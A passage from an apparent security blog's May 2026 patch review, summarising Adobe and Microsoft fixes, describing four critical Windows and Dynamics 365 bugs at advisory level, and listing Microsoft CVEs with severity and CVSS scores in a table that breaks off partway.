  <p class="">The obvious priority this month is the patch for Commerce, with its 15 bugs and deployment priority of 2. The Connect fix should also rank up there since both of its CVEs are CVSS 9s. Beyond those, it’s a pretty typical month for Adobe, with most of the bugs either being cross-site scripting (XSS) or open-and-own code executions.</p><p class=""><strong>Microsoft Patches for May 2026</strong></p><p class="">This month, Microsoft released a whopping 138 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Copilot Chat, Github Copilot, M365 Copilot, SQL Server, TCP/IP, and the Telnet Client – yes, the Telnet client. Two of these bugs were reported through the TrendAI ZDI program. 30 of these bugs are rated Critical, three are rated as Moderate, one is rated Low, and the rest are rated Important in severity.</p><p class="">This large volume of fixes follows the largest monthly release in Microsoft’s history and reflects the trend across the industry of a high number of submissions. While not all of these bugs were found by AI, it’s likely they had an AI-related component – even if it was just AI writing the submission. I should also point out the Pwn2Own Berlin occurs in just a few days, and it’s typical for vendors to patch as much as they can before the event.</p><p class="">None of the bugs patched by Microsoft this month are listed as publicly known or under active attack at the time of release, so we’ve got that going for us. Let’s take a closer look at some of the more interesting updates for this month, starting with a nasty-looking bug in DNS:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096"><strong>CVE-2026-41096</strong></a><strong> - Windows DNS Client Remote Code Execution Vulnerability<br></strong>This patch fixes a heap-based buffer overflow in the DNS Client triggered by a malicious DNS response. No authentication or user interaction needed, and since the DNS Client runs on virtually every Windows machine, the attack surface is enormous. An attacker with a position to influence DNS responses (MitM, rogue server) could achieve unauthenticated RCE across your enterprise.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41089"><strong>CVE-2026-41089</strong></a><strong> - Windows Netlogon Remote Code Execution Vulnerability<br></strong>This update covers another CVSS 9.8 bug, which is a stack-based buffer overflow that lets an unauthenticated remote attacker execute code on a domain controller by sending a specially crafted network request — no credentials, no user interaction required. Yup – that makes it wormable. This is the highest-impact bug that requires immediate patching: a compromised domain controller is a compromised domain.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42898"><strong>CVE-2026-42898</strong></a><strong> - Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability<br></strong>This bug rates a CVSS 9.9(!) and represents a code injection in Dynamics 365. It allows any authenticated user to execute code with a scope change, meaning exploitation can break out and affect resources beyond the vulnerable component itself. Scope changes are pretty rare, so if you’re running Dynamics 365 On-Prem, definitely test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40415"><strong>CVE-2026-40415</strong></a><strong> - Windows TCP/IP Remote Code Execution Vulnerability<br></strong>This bug in the TCP/IP stack results from a use-after-free (UAF) and could allow a remote, unauthenticated threat actor to execute code without user interaction. That makes this another wormable bug. However, this one is much less likely to be exploited. The target needs to be under sustained low-memory (memory pressure) conditions, which is pretty rare. Still, no need to tempt fate here. Test and deploy this one quickly.</p><p class="">Here’s the full list of CVEs released by Microsoft for May 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026-May-cvrf.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="920">
 <col width="144">
 <col width="256">
 <col width="104" span="5">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35435"><span>CVE-2026-35435</span></a></td>
  <td width="256" class="xl73">Azure AI Foundry
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35428"><span>CVE-2026-35428</span></a></td>
  <td width="256" class="xl73">Azure Cloud Shell
  Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42826"><span>CVE-2026-42826</span></a></td>
  <td width="256" class="xl73">Azure DevOps
  Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">10</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32207"><span>CVE-2026-32207</span></a></td>
  <td width="256" class="xl73">Azure Machine Learning
  Notebook Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33109"><span>CVE-2026-33109</span></a></td>
  <td width="256" class="xl73">Azure Managed Instance
  for Apache Cassandra Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33844"><span>CVE-2026-33844</span></a></td>
  <td width="256" class="xl73">Azure Managed Instance
  for Apache Cassandra Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41105"><span>CVE-2026-41105</span></a></td>
  <td width="256" class="xl73">Azure Monitor Action
  Group Notification System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33111"><span>CVE-2026-33111</span></a></td>
  <td width="256" class="xl73">Copilot Chat
  (Microsoft Edge) Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26129"><span>CVE-2026-26129</span></a></td>
  <td width="256" class="xl73">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26164"><span>CVE-2026-26164</span></a></td>
  <td width="256" class="xl73">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33821"><span>CVE-2026-33821</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  Customer Insights Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42898"><span>CVE-2026-42898</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  On-Premises Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40379"><span>CVE-2026-40379</span></a></td>
  <td width="256" class="xl73">Microsoft Enterprise
  Security Token Service (ESTS) Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40363"><span>CVE-2026-40363</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40358"><span>CVE-2026-40358</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34327"><span>CVE-2026-34327</span></a></td>
  <td width="256" class="xl73">Microsoft Partner
  Center Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40365"><span>CVE-2026-40365</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41103"><span>CVE-2026-41103</span></a></td>
  <td width="256" class="xl73">Microsoft SSO Plugin
  for Jira &amp; Confluence Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33823"><span>CVE-2026-33823</span></a></td>
  <td width="256" class="xl73">Microsoft Team Events
  Portal Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40364"><span>CVE-2026-40364</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40366"><span>CVE-2026-40366</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40361"><span>CVE-2026-40361</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40367"><span>CVE-2026-40367</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42831"><span>CVE-2026-42831</span></a></td>
  <td width="256" class="xl73">Office for Android
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096"><span>CVE-2026-41096</span></a></td>
  <td width="256" class="xl73">Windows DNS Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35421"><span>CVE-2026-35421</span></a></td>
  <td width="256" class="xl73">Windows GDI Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="71">
  <td class="xl67" height="71"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40403"><span>CVE-2026-40403</span></a></td>
  <td width="256" class="xl73">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40402"><span>CVE-2026-40402</span></a></td>
  <td width="256" class="xl73">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32161"><span>CVE-2026-32161</span></a></td>
  <td width="256" class="xl73">Windows Native WiFi
  Miniport Driver Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41089"><span>CVE-2026-41089</span></a></td>
  <td width="256" class="xl73">Windows Netlogon
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32175"><span>CVE-2026-32175</span></a></td>
  <td width="256" class="xl73">.NET Core Tampering
  Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32177"><span>CVE-2026-32177</span></a></td>
  <td width="256" class="xl73">.NET Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35433"><span>CVE-2026-35433</span></a></td>
  <td width="256" class="xl73">.NET Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54518"><span>CVE-2025-54518 *</span></a></td>
  <td width="256" class="xl73">AMD: CVE-2025-54518
  CPU OP Cache Corruption</td>
  <td class="xl70">Important</td>
  <td class="xl69"></td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42899"><span>CVE-2026-42899</span></a></td>
  <td width="256" class="xl73">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40381"><span>CVE-2026-40381</span></a></td>
  <td width="256" class="xl73">Azure Connected
  Machine Agent Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42823"><span>CVE-2026-42823 †</span></a></td>
  <td width="256" class="xl73">Azure Logic Apps
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33833"><span>CVE-2026-33833</span></a></td>
  <td width="256" class="xl73">Azure Machine Learning
  Notebook Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32204"><span>CVE-2026-32204</span></a></td>
  <td width="256" class="xl73">Azure Monitor Agent
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42830"><span>CVE-2026-42830</span></a></td>
  <td width="256" class="xl73">Azure Monitor Agent
  Metrics Extension Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33117"><span>CVE-2026-33117</span></a></td>
  <td width="256" class="xl73">Azure SDK for Java
  Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109"><span>CVE-2026-41109</span></a></td>
  <td width="256" class="xl73">GitHub Copilot and
  Visual Studio Code Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35424"><span>CVE-2026-35424</span></a></td>
  <td width="256" class="xl73">Internet Key Exchange
  (IKE) Protocol Denial of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41614"><span>CVE-2026-41614</span></a></td>
  <td width="256" class="xl73">M365 Copilot for
  Desktop Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41100"><span>CVE-2026-41100</span></a></td>
  <td width="256" class="xl73">Microsoft 365 Copilot
  for Android Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40377"><span>CVE-2026-40377</span></a></td>
  <td width="256" class="xl73">Microsoft
  Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41094"><span>CVE-2026-41094</span></a></td>
  <td width="256" class="xl73">Microsoft Data
  Formulator Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40417"><span>CVE-2026-40417</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  Business Central Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42833"><span>CVE-2026-42833</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  On-Premises Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42838"><span>CVE-2026-42838</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40360"><span>CVE-2026-40360</span></a></td>
  <td width="256" class="xl73">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40359"><span>CVE-2026-40359</span></a></td>
  <td width="256" class="xl73">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40362"><span>CVE-2026-40362</span></a></td>
  <td width="256" class="xl73">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42832"><span>CVE-2026-42832</span></a></td>
  <td width="256" class="xl73">Microsoft Excel
  Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34329"><span>CVE-2026-34329</span></a></td>
  <td width="256" class="xl73">Microsoft Message
  Queuing (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40419"><span>CVE-2026-40419</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40418"><span>CVE-2026-40418</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35436"><span>CVE-2026-35436</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40420"><span>CVE-2026-40420</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42893"><span>CVE-2026-42893</span></a></td>
  <td width="256" class="xl73">Microsoft Outlook for
  iOS Tampering Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40374"><span>CVE-2026-40374</span></a></td>
  <td width="256" class="xl73">Microsoft Power
  Automate Desktop Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41102"><span>CVE-2026-41102</span></a></td>
  <td width="256" class="xl73">Microsoft PowerPoint
  for Android Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35439"><span>CVE-2026-35439</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40368"><span>CVE-2026-40368</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
